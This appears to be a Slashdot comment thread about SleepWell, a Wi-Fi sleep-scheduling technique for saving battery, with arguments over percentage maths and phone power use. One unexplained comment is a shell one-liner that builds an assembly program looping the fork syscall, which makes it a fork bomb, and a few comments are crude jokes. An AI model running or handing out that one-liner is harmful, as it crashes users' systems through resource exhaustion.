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Controlling Wi-Fi Radio 'Nap-Time' Saves Power
alphadogg writes "A Duke University grad student has come up with a way to double (or more) battery life in Wi-Fi devices, without any changes needed on the device itself. Essentially, the technique regulates how long and when client radios sleep (PDF), so that data transfers can be scheduled more efficiently. In a test using eight laptops and nine Nexus One Android-based smartphones on an 802.11n network, the researchers found that the scheduling technique, dubbed SleepWell, resulted in energy reductions of 38% to 51% across a variety of online applications, including YouTube, Pandora and Last.fm Internet radio, and TCP bulk data transfers. What's more, they found that as the quality of radio links degrades, the relative energy gains are even higher."
Doesn't PowerTOP already do this? What's new here?
Smartphones have batteries? My phone has at best a UPS feature as I walk from USB connection to car charger to AC adapter.
It's still pretty useful though.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If it's a 51% reduction in power usage, then it would be about a 204% increase in battery life.
I know it's not exactly double, but really, I think you're being a bit harsh here.
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actually, increase is 102%
Sorry to be pedantic, but battery lifetime would be 2.04 times the original value, or a 104% increase. When you double something, you increase it by 100%, not 200%.
Yes, a 50% savings doubles battery life. There is nothing particularly interesting about 1/(1-.51)=2.04 battery life.
But that .01 could be the difference between hacking the Gibson or not!
if your phone use half of the battery power than before (50% reduction of power consumption) that means double battery life, the real problem here is not math, is that Wifi usage is not the only way to consume power, screen is a big factor, so half reduction on Wifi usage does not always means half total power usage, so that statement is only true when other parts of the phone are using much less that Wifi like screen being off
AFAIK, using streaming services like Youtube, pandora and last.fm would require a constant connection to avoid stuttering and eventual disconnect. How can you use these services with the wifi radio in sleep mode?
I almost never use wifi on my phone. Maybe once every few months, if that.
You can sort of already do this on android, just set the wifi to shut down when the screen is off.
Before i did it it my SGS could just about manage a day, now it's at least 3 maybe 4 if i don't play any games on it.
- "There is nothing quite like an ineffective solution to an nonexistant problem"
Well, I use it all the time for UMA at home. Not that I'm expecting BlackBerry to ever incorporate this code in my old Pearl.
-- I have a private email server in my basement.
For me, it's pretty rare that I'm someplace where I'll be using my phone for something that needs lots of bandwidth, but not be near a computer which I'd rather use, anyway. Different usage for different folks, though.
Bandwidth? How about free calling? Unfortunately, T-Mobile dropped the UMA feature and free calling so you can't get it anymore unless you already have it. I wouldn't expect to see it as a feature on any phones any longer either. It was an obvious money-loser from the beginning.
Of course being able to go from lots and lots of minutes a month to almost nothing certainly was handy. And reduced the bills a lot. Of course now you can just get an unlimited plan for about twice as much. Funny how that works out and interestingly it never seems to save money for the consumer.
Correcting a maths mistake with an English mistake. It's not a 204% increase in battery life, it's 204% of the total battery life. The increase is 104% since 100% means battery performed as it did originally.
If you double something you get a 100% increase.
Like I said, different usage for different folks. I have 450 minutes/mo on my Sprint 'Everything 450' plan, and usually wind up using fewer than 20 (twenty). Even if I did talk a lot, it would be VERY hard for me to go anywhere near 450 since Sprint gives you unlimited anytime calling to any mobile number (regardless of carrier) in the U.S. I don't talk to anyone outside of the U.S., so for me, this is a super-moot point. But I can see where some people would find value in that.
Correcting a maths mistake with an English mistake.
...on a Friday night before a major US holiday...
100% chance nobody here will get an STD.
"I like to lick butts!" by MobileTatsu-NJG (#32700246) (Score:5, Informative)
Probably correct, OTOH some of us are married w/ trophy wives, so 100% chance of getting laid without STDs - we can spend as much time on /. as we want, holiday or not.
On my Galaxy S, which uses a similar screen to the Nexus One used in this study, the screen consumes > 90% of all power. 3G, WiFi, GPS and everything else are just drops in the bucket.
Not so much the free calling (I have unlimited because of my work) but for getting a signal at all. I live out on an Indian reservation where the T-Mobile signal is very weak. UMA lets me get calls at home when I'm not out on the deck.
Speaking of grandfathered, I do have the T-Mobile "POTS" line on my router. The router actually takes a SIM card and hands me a "POTS" line. $15/month unlimited. Too nice to give up.
-- I have a private email server in my basement.
Sounds a whole lot like "sniff mode" commonly used on (non-sucky implementations of) Bluetooth.
Even with WiFi, bluetooth and GPS off all the time my Motorola thingy can barely do more than 36 hours standby time.